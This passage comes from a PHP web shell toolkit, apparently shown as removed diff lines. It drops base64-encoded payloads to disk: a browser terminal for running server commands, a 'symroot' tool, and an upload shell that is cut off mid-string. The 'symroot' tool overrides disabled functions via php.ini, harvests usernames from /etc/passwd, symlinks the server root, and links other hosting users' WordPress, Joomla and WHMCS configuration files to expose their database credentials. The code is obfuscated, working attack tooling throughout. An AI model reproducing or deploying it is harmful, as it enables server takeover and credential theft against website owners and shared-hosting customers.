bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';
- $file = fopen("command.php", "w+");
- $write = fwrite($file, base64_decode($perltoolss));
- fclose($file);
- echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";
- }
- //symroot
- elseif ($action == 'symroot') {
- $file = fopen($dir . "symroot.php", "w+");
- $perltoolss = 'PD9waHAKCgogJGhlYWQgPSAnCjxodG1sPgo8aGVhZD4KPC9zY3JpcHQ+Cjx0aXRsZT4tLT09W1tTeW0gbGpuayBBTGwgQ29uRmlnICsgU3ltIFJvb3QgQnkgTeG7uSBIdXnhu4FuXV09PS0tPC90aXRsZT4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPgoKPFNUWUxFPgpib2R5IHsKZm9udC1mYW1pbHk6IFRhaG9tYQp9CnRyIHsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CmNvbG9yOiAjRkZGOwp9CnRkIHsKQk9SREVSOiBkYXNoZWQgMXB4ICMzMzM7CmNvbG9yOiAjRkZGOwp9Ci50YWJsZTEgewpCT1JERVI6IDBweCBCbGFjazsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmNvbG9yOiAjRkZGOwp9Ci50ZDEgewpCT1JERVI6IDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpmb250OiA3cHQgVmVyZGFuYTsKY29sb3I6IEdyZWVuOwp9Ci50cjEgewpCT1JERVI6IDBweDsKQk9SREVSLUNPTE9SOiAjMzMzMzMzOwpjb2xvcjogI0ZGRjsKfQp0YWJsZSB7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT1JERVItQ09MT1I6ICMzMzMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpjb2xvcjogI0ZGRjsKfQppbnB1dCB7CmJvcmRlcgkJCTogZGFzaGVkIDFweDsKYm9yZGVyLWNvbG9yCQk6ICMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6IFJlZDsKfQpzZWxlY3QgewpCT1JERVItUklHSFQ6ICBCbGFjayAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICNERjAwMDAgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjREYwMDAwIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogQmxhY2sgMXB4IHNvbGlkOwpCT1JERVItY29sb3I6ICNGRkY7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiA4cHQgVmVyZGFuYTsKY29sb3I6IFJlZDsKfQpzdWJtaXQgewpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CndpZHRoOiAzMCU7CmNvbG9yOiAjRkZGOwp9CnRleHRhcmVhIHsKYm9yZGVyCQkJOiBkYXNoZWQgMXB4ICMzMzM7CkJBQ0tHUk9VTkQtQ09MT1I6IEJsYWNrOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogIzk5OTsKfQpCT0RZIHsKCVNDUk9MTEJBUi1GQUNFLUNPTE9SOiBCbGFjazsgU0NST0xMQkFSLUhJR0hMSUdIVC1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLVNIQURPVy1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLTNETElHSFQtY29sb3I6ICNGRkY7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogQmxhY2s7IFNDUk9MTEJBUi1UUkFDSy1jb2xvcjogI0ZGRjsgU0NST0xMQkFSLURBUktTSEFET1ctY29sb3I6ICNGRkYKbWFyZ2luOiAxcHg7CmNvbG9yOiBSZWQ7CmJhY2tncm91bmQtY29sb3I6IEJsYWNrOwp9Ci5tYWluIHsKbWFyZ2luCQkJOiAtMjg3cHggMHB4IDBweCAtNDkwcHg7CkJPUkRFUjogZGFzaGVkIDFweCAjMzMzOwpCT1JERVItQ09MT1I6ICMzMzMzMzM7Cn0KLnR0IHsKYmFja2dyb3VuZC1jb2xvcjogQmxhY2s7Cn0KCkE6bGluayB7CglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogV2hpdGU7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6aG92ZXIgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KPC9TVFlMRT4KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFzY3JpcHRcJz4KZnVuY3Rpb24gaGlkZV9kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOwogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOwp9CmZ1bmN0aW9uIHNob3dfZGl2KGlkKQp7CiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTE7XCc7Cn0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQp7CiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQogICAgc2hvd19kaXYoaWQpOwogIGVsc2UKICAgIGhpZGVfZGl2KGlkKTsKfQo8L3NjcmlwdD4nOyA/Pgo8aHRtbD4KCTxoZWFkPgoJCTw/cGhwIAoJCWVjaG8gJGhlYWQgOwoJCWVjaG8gJwoKPHRhYmxlIHdpZHRoPSIxMDAlIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiIGNsYXNzPSJ0YjEiID4KCgkJCQoKICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgYWxpZ249Y2VudGVyIHZhbGlnbj0idG9wIiByb3dzcGFuPSIxIj4KICAgICAgICAgICA8Zm9udCBjb2xvcj1yZWQgc2l6ZT01IGZhY2U9ImNvbWljIHNhbnMgbXMiPjxiPi0tPT1bWyBTeW0gbGpuayBBTGwgQ29uRmlnPC9mb250Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9NSBmYWNlPSJjb21pYyBzYW5zIG1zIj48Yj4gICArIFN5bSBSb290IDwvZm9udD48Zm9udCBjb2xvcj1ncmVlbiBzaXplPTUgZmFjZT0iY29taWMgc2FucyBtcyI+PGI+ICBieSBN4bu5IEh1eeG7gW5dXT09LS08L2ZvbnQ+IDxkaXYgY2xhc3M9ImhlZHIiPiAKCiAgICAgICAgPHRkIGhlaWdodD0iMTAiIGFsaWduPSJsZWZ0IiBjbGFzcz0idGQxIj48L3RkPjwvdHI+PHRyPjx0ZCAKICAgICAgICB3aWR0aD0iMTAwJSIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiIHJvd3NwYW49IjEiPjxmb250IAogICAgICAgIGNvbG9yPSJyZWQiIGZhY2U9ImNvbWljIHNhbnMgbXMic2l6ZT0iMSI+PGI+IAogICAgICAgIAkJCQkJCiAgICAgICAgICAgPC90YWJsZT4KICAgICAgICAKCic7IAoKPz4KPGNlbnRlcj4KPGZvcm0gbWV0aG9kPXBvc3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9ImNvbWljIHNhbnMgbXMiPjEuIENyZWF0IHBocC5pbmkgZmlsZTwvZm9udD48cD4KPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9aW5pIHZhbHVlPSJ1c2UgdG8gR2VuZXJhdGUgUEhQLmluaSIgLz48L2Zvcm0+Cjxmb3JtIG1ldGhvZD1wb3N0Pjxmb250IGNvbG9yPXdoaXRlIHNpemU9MiBmYWNlPSJjb21pYyBzYW5zIG1zIj4yLiBHZXQgdXNlcm5hbWVzIGZvciBzeW1saW5rPC9mb250PjxwPgoJPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9InVzcmUiIHZhbHVlPSJ1c2UgdG8gRXh0cmFjdCB1c2VybmFtZXMiIC8+PC9mb3JtPgoJCgk8P3BocAoJaWYoaXNzZXQoJF9QT1NUWydpbmknXSkpCgl7CgkJCgkJJHI9Zm9wZW4oJ3BocC5pbmknLCd3Jyk7CgkJJHJyPSIgZGlzYmFsZV9mdW5jdGlvbnM9bm9uZSAiOwoJCWZ3cml0ZSgkciwkcnIpOwoJCSRsaW5rPSI8YSBocmVmPXBocC5pbmk+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+PHU+b3BlbiBQSFAuSU5JPC91PjwvZm9udD48L2E+IjsKCQllY2hvICRsaW5rOwkKCQl9Cgk/PgoJPD9waHAKCWlmKGlzc2V0KCRfUE9TVFsndXNyZSddKSl7CgkJPz48Zm9ybSBtZXRob2Q9cG9zdD4KCTx0ZXh0YXJlYSByb3dzPTEwIGNvbHM9NTAgbmFtZT11c2VyPjw/cGhwICAkdXNlcnM9ZmlsZSgiL2V0Yy9wYXNzd2QiKTsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCnsKJHN0cj1leHBsb2RlKCI6IiwkdXNlcik7CmVjaG8gJHN0clswXS4iXG4iOwp9Cgo/PjwvdGV4dGFyZWE+PGJyPjxicj4KCTxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1IHZhbHVlPSJMZXRzIFN0YXJ0IiAvPjwvZm9ybT4KCTw/cGhwIH0gPz4KCTw/cGhwCgllcnJvcl9yZXBvcnRpbmcoMCk7CgllY2hvICI8Zm9udCBjb2xvcj1yZWQgc2l6ZT0yIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IjsKCWlmKGlzc2V0KCRfUE9TVFsnc3UnXSkpCgl7Cglta2Rpcignc3ltJywwNzc3KTsKJHJyICA9ICIgT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwokZyA9IGZvcGVuKCdzeW0vLmh0YWNjZXNzJywndycpOwpmd3JpdGUoJGcsJHJyKTsKJFN5bSA9IHN5bWxpbmsoIi8iLCJzeW0vcm9vdCIpOwoJCSAgICAkcnQ9IjxhIGhyZWY9c3ltL3Jvb3Q+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+IFN5bTwvZm9udD48L2E+IjsKICAgICAgICBlY2hvICJSb290IC8gZm9sZGVyIHN5bWxpbmsgPGJyPjx1PiRydDwvdT4iOwoJCQoJCSRkaXI9bWtkaXIoJ3N5bScsMDc3Nyk7CgkJJHIgID0gIiBPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7CiAgICAgICAgJGYgPSBmb3Blbignc3ltLy5odGFjY2VzcycsJ3cnKTsKICAgCiAgICAgICAgZndyaXRlKCRmLCRyKTsKICAgICAgICAkY29uc3ltPSI8YSBocmVmPXN5bS8+PGZvbnQgY29sb3I9d2hpdGUgc2l6ZT0zIGZhY2U9XCJjb21pYyBzYW5zIG1zXCI+Y29uZmlndXJhdGlvbiBmaWxlczwvZm9udD48L2E+IjsKICAgICAgIAllY2hvICI8YnI+U3ltIExqbmsgQWxsIENvbkZpZyA8YnI+PHU+PGZvbnQgY29sb3I9cmVkIHNpemU9MiBmYWNlPVwiY29taWMgc2FucyBtc1wiPiRjb25zeW08L2ZvbnQ+PC91PiI7CiAgICAgICAJCiAgICAgICAJCSR1c3I9ZXhwbG9kZSgiXG4iLCRfUE9TVFsndXNlciddKTsKICAgICAgIAkkY29uZmlndXJhdGlvbj1hcnJheSgid3AtY29uZmlnLnBocCIsIndvcmRwcmVzcy93cC1jb25maWcucGhwIiwiY29uZmlndXJhdGlvbi5waHAiLCJibG9nL3dwLWNvbmZpZy5waHAiLCJqb29tbGEvY29uZmlndXJhdGlvbi5waHAiLCJ2Yi9pbmNsdWRlcy9jb25maWcucGhwIiwiaW5jbHVkZXMvY29uZmlnLnBocCIsImNvbmZfZ2xvYmFsLnBocCIsImluYy9jb25maWcucGhwIiwiY29uZmlnLnBocCIsIlNldHRpbmdzLnBocCIsInNpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwIiwid2htL2NvbmZpZ3VyYXRpb24ucGhwIiwid2htY3MvY29uZmlndXJhdGlvbi5waHAiLCJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwid2htYy9XSE0vY29uZmlndXJhdGlvbi5waHAiLCJ3aG0vV0hNQ1MvY29uZmlndXJhdGlvbi5waHAiLCJ3aG0vd2htY3MvY29uZmlndXJhdGlvbi5waHAiLCJzdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudC9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudGVzL2NvbmZpZ3VyYXRpb24ucGhwIiwiY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCIsImNsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAiLCJiaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwIiwiYWRtaW4vY29uZmlnLnBocCIpOwoJCWZvcmVhY2goJHVzciBhcyAkdXNzICkKCQl7CgkJCSR1cz10cmltKCR1c3MpOwoJCQkJCQkKCQkJZm9yZWFjaCgkY29uZmlndXJhdGlvbiBhcyAkYykKCQkJewoJCQkgJHJzPSIvaG9tZS8iLiR1cy4iL3B1YmxpY19odG1sLyIuJGM7CgkJCSAkcj0ic3ltLyIuJHVzLiIgLi4gIi4kYzsKCQkJIHN5bWxpbmsoJHJzLCRyKTsKCQkJCgkJfQoJCQkKCQkJfQoJCQoJCQoJCX0KCQoJCgkKCT8+CjwvY2VudGVyPgk=';
- $file = fopen("symroot.php", "w+");
- $write = fwrite($file, base64_decode($perltoolss));
- fclose($file);
- echo "<iframe src=symroot.php width=100% height=720px frameborder=0></iframe> ";
- }
- //UPSHELL
- elseif ($action == 'upshell') {
- $file = fopen($dir . "upshell.php", "w+");
- $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+VVAgU0hFTEwgLSBNWSBIVVlFTjwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmEgeyAKdGV4dC1kZWNvcmF0aW9uOm5vbmU7CmNvbG9yOndoaXRlOwogfQo8L3N0eWxlPiAKPHN0eWxlPgppbnB1dCB7IApjb2xvcjojMDAwMDM1OyAKZm9udDo4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Cn0KLkRJUiB7IApjb2xvcjojMDAwMDM1OyAKZm9udDpib2xkIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjtjb2xvcjojRkZGRkZGOwpiYWNrZ3JvdW5kLWNvbG9yOiNBQTAwMDA7CmJvcmRlci1zdHlsZTpub25lOwp9Ci50eHQgeyAKY29sb3I6IzJBMDAwMDsgCmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9IApib2R5LCB0YWJsZSwgc2VsZWN0LCBvcHRpb24sIC5pbmZvCnsKZm9udDpib2xkICA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Cn0KYm9keSB7CgliYWNrZ3JvdW5kLWNvbG9yOiAjRTVFNUU1Owp9Ci5zdHlsZTEge2NvbG9yOiAjQUEwMDAwfQoudGQKewpib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2Owpib3JkZXItdG9wOiAwcHg7CmJvcmRlci1sZWZ0OiAwcHg7CmJvcmRlci1yaWdodDogMHB4Owp9Ci50ZFVQCnsKYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsKYm9yZGVyLXRvcDogMXB4Owpib3JkZXItbGVmdDogMHB4Owpib3JkZXItcmlnaHQ6IDBweDsKYm9yZGVyLWJvdHRvbTogMXB4Owp9Ci5zdHlsZTQge2NvbG9yOiAjRkZGRkZGOyB9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cjw/cGhwCmVjaG8gIjxDRU5URVI+CiAgPHRhYmxlIGJvcmRlcj0nMScgY2VsbHBhZGRpbmc9JzAnIGNlbGxzcGFjaW5nPScwJyBzdHlsZT0nYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZTsgYm9yZGVyLXN0eWxlOiBzb2xpZDsgYm9yZGVyLWNvbG9yOiAjQzBDMEMwOyBwYWRkaW5nLWxlZnQ6IDQ7IHBhZGRpbmctcmlnaHQ6IDQ7IHBhZGRpbmctdG9wOiAxOyBwYWRkaW5nLWJvdHRvbTogMScgYm9yZGVyY29sb3I9JyMxMTExMTEnIHdpZHRoPSc4NiUnIGJnY29sb3I9JyNFMEUwRTAnPgogICAgPHRyPgogICAgICA8dGQgYmdjb2xvcj0nIzAwMDBmZicgY2xhc3M9J3RkJz48ZGl2IGFsaWduPSdjZW50ZXInIGNsYXNzPSdzdHlsZTQnPiBIYXkgY2hvbiBtYSBuZ3VvbjwvZGl2PjwvdGQ+CiAgICAgIDx0ZCBiZ2NvbG9yPScjMDAwMGZmJyBjbGFzcz0ndGQnIHN0eWxlPSdwYWRkaW5nOjBweCAwcHggMHB4IDVweCc+PGRpdiBhbGlnbj0nY2VudGVyJyBjbGFzcz0nc3R5bGU0Jz4KICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4KICAgICAgICA8L2Rpdj4KICAgICAgPC9kaXY+PC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMjgwJyBzdHlsZT0ncGFkZGluZzoyMHB4IDIwcHggMjBweCAyMHB4ICc+IjsKCmlmIChpc3NldCgkX1BPU1RbJ3ZiYiddKSkKewogICAgbWtkaXIoJ3Vwc2hlbGwnLCAwNzU1KTsKICAgIGNoZGlyKCd1cHNoZWxsJyk7CiRjb25maWdzaGVsbCA9ICdQR2gwYld3K0NqeDBhWFJzWlQ1MlFuVnNiR1YwYVc0Z1MybHNiR1Z5UEM5MGFYUnNaVDRLUEdObGJuUmxjajRLUEdadmNtMGdiV1YwYUc5a1BWQlBVMVFnWVdOMGFXOXVQU2NuUGdvOFptOXVkQ0JtWVdObFBTZEJjbWxoYkNjZ1kyOXNiM0k5SnlNd01EQXdNREFuUGsxNWMzRnNJRWh2YzNROEwyWnZiblErUEdKeVBqeHBibkIxZENCMllXeDFaVDFzYjJOaGJHaHZjM1FnZEhsd1pUMTBaWGgwSUc1aGJXVTlhRzl6ZEc1aGJXVWdjMmw2WlQwbk5UQW5JSE4wZVd4bFBTZG1iMjUwTFhOcGVtVTZJRGh3ZERzZ1kyOXNiM0k2SUNNd01EQXdNREE3SUdadmJuUXRabUZ0YVd4NU9pQlVZV2h2YldFN0lHSnZjbVJsY2pvZ01YQjRJSE52Ykdsa0lDTTJOalkyTmpZN0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNklDTkdSa1pHUmtZblBqeGljajRLUEdadmJuUWdabUZqWlQwblFYSnBZV3duSUdOdmJHOXlQU2NqTURBd01EQXdKejVFUWlCdVlXMWxQR0p5UGp3dlptOXVkRDQ4YVc1d2RYUWdkbUZzZFdVOVpHRjBZV0poYzJVZ2RIbHdaVDEwWlhoMElHNWhiV1U5WkdKdVlXMWxJSE5wZW1VOUp6VXdKeUJ6ZEhsc1pUMG5abTl1ZEMxemFYcGxPaUE0Y0hRN0lHTnZiRzl5T2lBak1EQXdNREF3T3lCbWIyNTBMV1poYldsc2VUb2dWR0ZvYjI